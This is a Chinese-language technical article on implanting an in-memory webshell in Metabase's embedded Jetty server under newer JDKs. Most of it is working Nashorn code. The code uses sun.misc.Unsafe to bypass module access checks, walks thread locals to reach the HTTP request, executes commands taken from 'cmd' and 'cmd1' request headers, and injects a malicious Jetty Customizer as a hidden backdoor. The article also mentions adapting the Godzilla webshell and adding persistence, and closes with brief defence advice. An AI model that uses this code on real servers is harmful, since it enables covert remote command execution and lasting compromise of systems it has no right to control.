Metabase 高版本JDK下 嵌入式Jetty中的Customizer内存马实现
字数 1079 2025-08-24 16:48:17
Metabase高版本JDK下嵌入式Jetty中的Customizer内存马实现技术分析
1. 背景与概述
本文详细分析在Metabase高版本JDK环境下,利用嵌入式Jetty服务器的Customizer机制实现内存Webshell的技术。Metabase作为一个独立jar包部署的应用,传统文件写入方式难以实现持久化控制,而内存马技术提供了更隐蔽的持久化攻击方式。
2. 技术挑战与突破点
2.1 Java模块化系统的限制
- Java 9+引入了模块化系统,增加了访问控制限制
- 传统反射方式访问
ThreadGroup.threads字段会抛出异常:java.lang.reflect.InaccessibleObjectException: Unable to make field java.lang.Thread[] java.lang.ThreadGroup.threads accessible: module java.base does not "opens java.lang" to module jdk.scripting.nashorn.scripts
2.2 解决方案:Unsafe绕过
使用sun.misc.Unsafe类绕过模块系统限制:
function getunsafe() {
var unsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
unsafe.setAccessible(true);
return unsafe.get(null);
}
关键方法:
getObject(Object o, long offset): 基于内存地址直接读取属性objectFieldOffset(Field f): 获取属性内存偏移地址
3. 回显马实现
3.1 获取线程上下文
var unsafe = getunsafe();
var group = java.lang.Thread.currentThread().getThreadGroup();
var f = group.getClass().getDeclaredField("threads");
var threads = unsafe.getObject(group, unsafe.objectFieldOffset(f));
3.2 定位HTTP请求对象
通过调试分析出请求对象的位置:
((HttpChannelOverHttp)((HttpConnection)((Thread)this).threadLocals.table[x].value)._channel)._request
3.3 完整回显实现
for (var i = 0; i < threads.length; i++) {
try {
var f = threads[i].getClass().getDeclaredField("threadLocals");
var threadLocals = unsafe.getObject(threads[i], unsafe.objectFieldOffset(f));
var table = unsafe.getObject(threadLocals, unsafe.objectFieldOffset(threadLocals.getClass().getDeclaredField("table")));
for (var j = 0; j < table.length; j++) {
try {
var valueField = unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
var w = valueField.getHttpChannel().getResponse().getWriter();
w.println(exec(valueField.getHttpChannel().getRequest().getHeader("cmd")));
w.flush();
} catch(e) {}
}
} catch(e) {}
}
4. 内存马实现
4.1 Jetty Customizer机制分析
Jetty处理流程中关键代码:
public boolean handle() {
this.dispatch(DispatcherType.REQUEST, () -> {
Iterator var1 = this._configuration.getCustomizers().iterator();
do {
if (!var1.hasNext()) {
this.getServer().handle(this);
return;
}
HttpConfiguration.Customizer customizer = (HttpConfiguration.Customizer)var1.next();
customizer.customize(this.getConnector(), this._configuration, this._request);
} while(!this._request.isHandled());
});
}
4.2 自定义恶意Customizer
var ProxyCustomizer = Java.extend(org.eclipse.jetty.server.HttpConfiguration.Customizer, {
customize: function(connector, channelConfig, request) {
if (request.getHeader("cmd1") != null) {
request.getResponse().getWriter().println(exec(request.getHeader("cmd1")));
request.setHandled(true);
}
}
});
4.3 注入Customizer
valueField.getHttpChannel().getHttpConfiguration().addCustomizer(new ProxyCustomizer());
5. 高级利用
5.1 哥斯拉内存马适配
- 可基于上述技术封装更复杂的功能
- 使用Unsafe绕过限制加载恶意class
5.2 持久化机制
- 利用Jetty配置机制实现重启后依然有效
- 通过动态字节码技术隐藏恶意代码
6. 防御建议
-
模块化安全配置:
- 限制
jdk.scripting.nashorn模块权限 - 配置
--illegal-access=deny禁止非法反射
- 限制
-
Unsafe防护:
- 添加JVM参数
-XX:+DisableAttachMechanism - 使用SecurityManager限制Unsafe访问
- 添加JVM参数
-
Jetty加固:
- 监控
HttpConfiguration的Customizer列表变更 - 校验Customizer实现类的来源
- 监控
-
运行时防护:
- 部署RASP检测异常线程操作
- 监控异常HTTP处理器注册行为
7. 总结
本文详细分析了在高版本JDK环境下,通过Unsafe绕过模块限制,利用Jetty Customizer机制实现内存马的技术方案。该技术具有高度隐蔽性,不依赖文件系统,适用于Metabase等独立jar部署环境。防御方面需要从模块权限、反射控制、运行时监控等多层面进行防护。